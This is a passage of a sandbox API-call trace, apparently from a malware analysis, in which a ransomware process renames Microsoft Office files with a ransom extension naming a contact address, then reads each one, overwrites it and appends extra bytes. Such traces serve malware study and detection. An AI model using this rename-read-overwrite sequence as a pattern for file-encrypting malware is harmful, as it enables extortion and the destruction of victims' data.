cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK0B51~1.FIR")) returned 0x6d5280 [0184.904] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.904] GetProcessHeap () returned 0x630000 [0184.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa9c48 [0184.904] GetProcessHeap () returned 0x630000 [0184.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa92e8 [0184.904] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.904] ReadFile (in: hFile=0x6c0, lpBuffer=0x6fa9c48, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa9c48*, lpNumberOfBytesRead=0x497ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0184.906] GetProcessHeap () returned 0x630000 [0184.906] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0184.906] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x6c0, lpBuffer=0x6fa92e8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa92e8*, lpNumberOfBytesWritten=0x497ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0184.906] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x6c0, lpBuffer=0x6fa93a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa93a7*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.906] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.906] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.906] CloseHandle (hObject=0x6c0) returned 1 [0184.907] GetProcessHeap () returned 0x630000 [0184.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa92e8 | out: hHeap=0x630000) returned 1 [0184.907] GetProcessHeap () returned 0x630000 [0184.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa9c48 | out: hHeap=0x630000) returned 1 [0184.907] GetProcessHeap () returned 0x630000 [0184.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0184.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x34299de9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x497fd20, dwReserved1=0x6fa9c48, cFileName="SKYPEFB_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK0B51~1.FIR")) returned 0x6d53c0 [0184.907] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0184.907] Sleep (dwMilliseconds=0x1) [0184.917] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC", len=0x4a | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC") returned 1 [0184.917] GetProcessHeap () returned 0x630000 [0184.917] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a0c) returned 0x707d3d0 [0184.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.918] CloseHandle (hObject=0x6c0) returned 1 [0184.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK7A5D~1.FIR")) returned 0x6d4e00 [0184.919] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0184.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.919] GetProcessHeap () returned 0x630000 [0184.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746ae38 [0184.919] GetProcessHeap () returned 0x630000 [0184.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746a8a8 [0184.919] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.920] ReadFile (in: hFile=0x6c0, lpBuffer=0x746ae38, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ae38*, lpNumberOfBytesRead=0x497ff0c*=0x280, lpOverlapped=0x0) returned 1 [0184.923] GetProcessHeap () returned 0x630000 [0184.923] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0184.923] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.923] WriteFile (in: hFile=0x6c0, lpBuffer=0x746a8a8*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a8a8*, lpNumberOfBytesWritten=0x497ff0c*=0x280, lpOverlapped=0x0) returned 1 [0184.924] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.924] WriteFile (in: hFile=0x6c0, lpBuffer=0x746ab27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ab27*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.924] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.924] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.924] CloseHandle (hObject=0x6c0) returned 1 [0184.924] GetProcessHeap () returned 0x630000 [0184.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746a8a8 | out: hHeap=0x630000) returned 1 [0184.924] GetProcessHeap () returned 0x630000 [0184.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746ae38 | out: hHeap=0x630000) returned 1 [0184.924] GetProcessHeap () returned 0x630000 [0184.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0184.924] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x342bfdc7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x497fd20, dwReserved1=0x746ae38, cFileName="SKYPEFB_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK7A5D~1.FIR")) returned 0x6d4f40 [0184.924] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0184.924] Sleep (dwMilliseconds=0x1) [0184.933] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS", len=0x46 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS") returned 1 [0184.933] GetProcessHeap () returned 0x630000 [0184.933] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a08) returned 0x707d3d0 [0184.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.933] CloseHandle (hObject=0x6c0) returned 1 [0184.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ea22, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKADC7~1.FIR")) returned 0x6d54c0 [0184.935] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0184.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.935] GetProcessHeap () returned 0x630000 [0184.935] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fabfe8 [0184.935] GetProcessHeap () returned 0x630000 [0184.935] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0184.935] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.935] ReadFile (in: hFile=0x6c0, lpBuffer=0x6fabfe8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0192.715] GetProcessHeap () returned 0x630000 [0192.715] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0192.716] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.716] WriteFile (in: hFile=0x6c0, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.059] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.059] WriteFile (in: hFile=0x6c0, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.059] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.059] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.059] CloseHandle (hObject=0x6c0) returned 1 [0195.319] GetProcessHeap () returned 0x630000 [0195.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0195.320] GetProcessHeap () returned 0x630000 [0195.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0195.321] GetProcessHeap () returned 0x630000 [0195.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0196.300] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef93c032, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef93c032, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a376e78, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ea46, dwReserved0=0xbb87496, dwReserved1=0x6fabfe0, cFileName="SKYPEFB_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKADC7~1.FIR")) returned 0x6d5000 [0196.300] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.300] Sleep (dwMilliseconds=0x1) [0196.318] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", len=0x3e | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT") returned 1 [0196.318] GetProcessHeap () returned 0x630000 [0196.318] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x479c) returned 0x7133a90 [0196.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0196.431] CloseHandle (hObject=0x640) returned 1 [0196.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.003] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR1XL~1.FIR")) returned 0x6d5000 [0197.003] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0197.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0197.003] GetProcessHeap () returned 0x630000 [0197.003] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7821) returned 0x700f4b0 [0197.003] GetProcessHeap () returned 0x630000 [0197.004] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7821) returned 0x7016ce0 [0197.004] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.004] ReadFile (in: hFile=0x640, lpBuffer=0x700f4b0, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700f4b0*, lpNumberOfBytesRead=0x497ff0c*=0x7800, lpOverlapped=0x0) returned 1 [0201.311] GetProcessHeap () returned 0x630000 [0201.311] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0201.311] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.311] WriteFile (in: hFile=0x640, lpBuffer=0x7016ce0*, nNumberOfBytesToWrite=0x7800, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7016ce0*, lpNumberOfBytesWritten=0x497ff0c*=0x7800, lpOverlapped=0x0) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.312] WriteFile (in: hFile=0x640, lpBuffer=0x701e4df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701e4df*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.312] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.312] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.312] CloseHandle (hObject=0x640) returned 1 [0201.312] GetProcessHeap () returned 0x630000 [0201.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7016ce0 | out: hHeap=0x630000) returned 1 [0201.312] GetProcessHeap () returned 0x630000 [0201.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700f4b0 | out: hHeap=0x630000) returned 1 [0201.312] GetProcessHeap () returned 0x630000 [0201.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0201.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3df14825, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7824, dwReserved0=0xbb87496, dwReserved1=0x700f4a8, cFileName="ADR1.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR1XL~1.FIR")) returned 0x6d5280 [0201.313] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.313] Sleep (dwMilliseconds=0x1) [0202.974] SysReAllocStringLen (in: 